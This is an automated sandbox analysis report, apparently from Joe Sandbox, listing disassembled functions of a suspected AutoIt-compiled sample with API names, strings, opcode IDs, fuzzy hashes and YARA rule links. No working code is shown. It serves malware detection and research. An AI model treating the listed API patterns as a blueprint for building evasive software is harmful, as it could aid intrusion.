                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: FileWrite
                                                          • String ID:
                                                          • API String ID: 3934441357-0
                                                          • Opcode ID: a0a1439e265e291f150910246ad1a366446c83d0ba354e2dc0beef75c9ab4ebe
                                                          • Instruction ID: b72516861871f5f759a6030adb10071d13cd88c8cc6033ebdea4484dc89f1c72
                                                          • Opcode Fuzzy Hash: a0a1439e265e291f150910246ad1a366446c83d0ba354e2dc0beef75c9ab4ebe
                                                          • Instruction Fuzzy Hash: BEE03922618A9182D720CB06F44035EE3B0FB8ABD8F544525EF8C8BB19CF7DC9518B80
                                                          Function 00007FF6A5373EB4 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: LongNamePath
                                                          • String ID:
                                                          • API String ID: 82841172-0
                                                          • Opcode ID: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
                                                          • Instruction ID: bc89cb9d9bc93722cc537759ab8a5c3cf08f093494204744b34f3cae7096c758
                                                          • Opcode Fuzzy Hash: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
                                                          • Instruction Fuzzy Hash: 1CE0D822B08B42C1D721D725F5443A8A361FBCCBC4F044031EE8C8775BDD6CC9858B00
                                                          Function 00007FF6A5375D88 Relevance: 1.5, APIs: 1, Instructions: 19windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: IconNotifyShell_
                                                          • String ID:
                                                          • API String ID: 1144537725-0
                                                          • Opcode ID: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
                                                          • Instruction ID: a1ae561141507e55dc453460d466ac5380a62332abe798399933e5d1f8cecada
                                                          • Opcode Fuzzy Hash: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
                                                          • Instruction Fuzzy Hash: D0F08C61A1AB8287E361DB64E4043697AA4F79AB08F840039D18D86796DF3CD745CF00
                                                          Function 00007FF6A5371080 Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Open_onexit
                                                          • String ID:
                                                          • API String ID: 3030063568-0
                                                          • Opcode ID: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
                                                          • Instruction ID: 8ee06959b056a1951e5d8bb3384d12fce25be120faefbf8021017d720bb2feb9
                                                          • Opcode Fuzzy Hash: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
                                                          • Instruction Fuzzy Hash: CDE0EC91F2BA4BD1EA04F76998951741790AFD7B09F805536C00DC2752EE1CD6A58710
                                                          Function 00007FF6A5371048 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _onexit
                                                          • String ID:
                                                          • API String ID: 572287377-0
                                                          • Opcode ID: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
                                                          • Instruction ID: 413e58bc302ec1880bc73c426f78db4795c5c35aae0a36fa0c4cc6d056fe37dc
                                                          • Opcode Fuzzy Hash: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
                                                          • Instruction Fuzzy Hash: B8C01241E7BC4BD1E508F3B688A607401901FEBB00F900575C00EC1282ED0C55E60751
                                                          Function 00007FF6A5371064 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _onexit
                                                          • String ID:
                                                          • API String ID: 572287377-0
                                                          • Opcode ID: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
                                                          • Instruction ID: 4364ebb46b44f58af73e4f99122c46a7187646300a46ac52bbe04b6d3840c118
                                                          • Opcode Fuzzy Hash: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
                                                          • Instruction Fuzzy Hash: A8C01241E7FC4BD1E508F3B64CA607801901FEBB00F900135D00EC1282ED1C5AE64611
                                                          Function 00007FF6A53710E8 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Process$CurrentVersionWow64_onexit
                                                          • String ID:
                                                          • API String ID: 2932345936-0
                                                          • Opcode ID: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
                                                          • Instruction ID: bf2b036e169b31d9316bf3f263cd4f8a5aa039a5261f81db36504f12dfaf0fee
                                                          • Opcode Fuzzy Hash: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
                                                          • Instruction Fuzzy Hash: 06C01241E7BC4BD0E608F3B648A60B402905FE7B00F90013AC10EC1292FD0C55E60651
                                                          Function 00007FF6A53F7E48 Relevance: 1.4, APIs: 1, Instructions: 163COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast
                                                          • String ID:
                                                          • API String ID: 1452528299-0
                                                          • Opcode ID: b1ea28e244f60b4af54ff34aaaf102a183879d86c5d4002b95e89690f8712e5a
                                                          • Instruction ID: a691e1f987907e74ef85f948eadc4c275bec0ac5ebd01010e480ad18a9c1694f
                                                          • Opcode Fuzzy Hash: b1ea28e244f60b4af54ff34aaaf102a183879d86c5d4002b95e89690f8712e5a
                                                          • Instruction Fuzzy Hash: 63718C22B26E4295EB14EF65D0903BC63A0EF86F84F404532DE0E9B7A6EF38D855C350
                                                          Function 00007FF6A53ADDA8 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: AllocHeap
                                                          • String ID:
                                                          • API String ID: 4292702814-0
                                                          • Opcode ID: 56853fc6be513b26808fd6ceb43c2b1e56f5d2842f756231a7c5debb2bb5ead3
                                                          • Instruction ID: 2b955f37d17ae6d5ee2acfb41e305f740170f2775f3fc5b4628757acb8523682
                                                          • Opcode Fuzzy Hash: 56853fc6be513b26808fd6ceb43c2b1e56f5d2842f756231a7c5debb2bb5ead3
                                                          • Instruction Fuzzy Hash: 2DF09085B2BA4BC0FE58D76258243B552909FE6F40F4C4830CA0ECB3C6FE2EED518220
                                                          Function 00007FF6A53AC51C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: AllocHeap
                                                          • String ID:
                                                          • API String ID: 4292702814-0
                                                          • Opcode ID: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
                                                          • Instruction ID: 9e8454d3cc142de4931b89d9ed11fe0458d178ed993c61fa08f516a5779929bb
                                                          • Opcode Fuzzy Hash: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
                                                          • Instruction Fuzzy Hash: A2F0FE81B2BA4B85FE54D773595527951815FD6FA0F484630FA2ECA2C2FE5DEC408610

                                                          Non-executed Functions

                                                          Function 00007FF6A54056A0 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 476filecommemoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                          • String ID: $AutoIt v3$DISPLAY$static
                                                          • API String ID: 2211948467-2373415609
                                                          • Opcode ID: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
                                                          • Instruction ID: 56b50a3f58e803c638e95b77611850ff3aa904727c065a2967b6aeeb57121a95
                                                          • Opcode Fuzzy Hash: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
                                                          • Instruction Fuzzy Hash: 43226B36A1AA918AE714CF29E8445AD77A0FB9AF94F104136DE4EC7B64DF3CD845CB00
                                                          Function 00007FF6A54217C0 Relevance: 70.6, APIs: 38, Strings: 2, Instructions: 587windowkeyboardCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$ClientScreen$LongStateWindow$CursorMenuPopupTrack$ParentProc
                                                          • String ID: @GUI_DRAGID$F
                                                          • API String ID: 1993697042-4164748364
                                                          • Opcode ID: 56f72f09bbed6945763f30ad9d633d39a2232c5a8ce1cdf1e6a0990a4f5aa755
                                                          • Instruction ID: 4d0be8ff2b95cdece70b013ad1c67f21d448d9baf9b323b427fda40e3c3f1fe2
                                                          • Opcode Fuzzy Hash: 56f72f09bbed6945763f30ad9d633d39a2232c5a8ce1cdf1e6a0990a4f5aa755
                                                          • Instruction Fuzzy Hash: 57527D36A1AA5292EB54CF25D484ABD2760FF86F94F505176EB0EC7AA4DF3CE850C700
                                                          Function 00007FF6A541CE8C Relevance: 69.5, APIs: 46, Instructions: 540windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: DeleteDestroyIconImageLoadLongMessageObjectSendWindow
                                                          • String ID:
                                                          • API String ID: 3481653762-0
                                                          • Opcode ID: 0009db8de3ffea259ba8a46f35c7ba5ff9efa5b40b0df71df5247db5c8e89bc7
                                                          • Instruction ID: 0d156131d1d069bc7c6f8ff16f46a713f358f77197c0e37fac93174ec88d3b42
                                                          • Opcode Fuzzy Hash: 0009db8de3ffea259ba8a46f35c7ba5ff9efa5b40b0df71df5247db5c8e89bc7
                                                          • Instruction Fuzzy Hash: E032BD76A1AA9286EB50CF25D4447BD77A0FB8AF94F004135DA5E87BA4CF3CE855CB00
                                                          Function 00007FF6A54032AC Relevance: 47.6, APIs: 22, Strings: 5, Instructions: 327windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                                          • String ID: A$AutoIt v3$DISPLAY$msctls_progress32$static
                                                          • API String ID: 2910397461-2439800395
                                                          • Opcode ID: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
                                                          • Instruction ID: 82a6a33c8dd9873646f22ef9a020a8ec4a5dc0e9ac68c2514b7c54f730e00aee
                                                          • Opcode Fuzzy Hash: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
                                                          • Instruction Fuzzy Hash: 61E19F76A19B8187E714CF25E8406AE7BB0FB9AB94F105135DA4E87B64CF7CE854CB00
                                                          Function 00007FF6A5394514 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 122threadkeyboardwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
                                                          • String ID: Shell_TrayWnd
                                                          • API String ID: 3778422247-2988720461
                                                          • Opcode ID: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
                                                          • Instruction ID: b46851995c3e7b10907d0ca0dc974332e95c1bbde762da5c1dbac2dc2fc4cf57
                                                          • Opcode Fuzzy Hash: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
                                                          • Instruction Fuzzy Hash: 31419621F1A92243E714DB26A91867E22E1FFDAF91F944070DC0ECBB54EE3D9C4A8700
                                                          Function 00007FF6A537183C Relevance: 38.0, APIs: 25, Instructions: 475windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Destroy$ImageList_Window$DeleteMessageObjectSend$IconMove
                                                          • String ID:
                                                          • API String ID: 3372153169-0
                                                          • Opcode ID: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
                                                          • Instruction ID: a6c91e6e0f19447f23594a785e407b0dfe14a9203fd8764b3d73a8c76080a42b
                                                          • Opcode Fuzzy Hash: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
                                                          • Instruction Fuzzy Hash: F022AC62E2AE8286EB64DB25C4502BD27A1FF86F94F554136CA1EC7695EF3CEC41C300
                                                          Function 00007FF6A53DCE68 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 227processCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Process$StationWindow$CloseCurrentHandleUser$CreateDuplicate$BlockDesktopEnvironmentHeapOpenProfileToken$AdjustAllocDestroyErrorLastLoadLogonLookupPrivilegePrivilegesThreadUnloadValuewcscpy
                                                          • String ID: default$winsta0$winsta0\default
                                                          • API String ID: 3202303201-1423368268
                                                          • Opcode ID: 7cb12814cb6b015ee9b146163ab078bb4421d269641bd6f3e60d56745cadab4a
                                                          • Instruction ID: bd5c5b527ac668851ba7c7abf7f1ecbba0401110f1569e644ceeaf45202182cf
                                                          • Opcode Fuzzy Hash: 7cb12814cb6b015ee9b146163ab078bb4421d269641bd6f3e60d56745cadab4a
                                                          • Instruction Fuzzy Hash: D5A15C32A2AB4286EB50CF61E8402AE73B5FB86B94F444535DE5D87B99DF3CE805C740
                                                          Function 00007FF6A5372AE0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                          • String ID: AutoIt v3 GUI
                                                          • API String ID: 1458621304-248962490
                                                          • Opcode ID: b8f5b06e3d0277f3ffc73035af6cc9ad4e685f54e981a48a8f38e285d267cba3
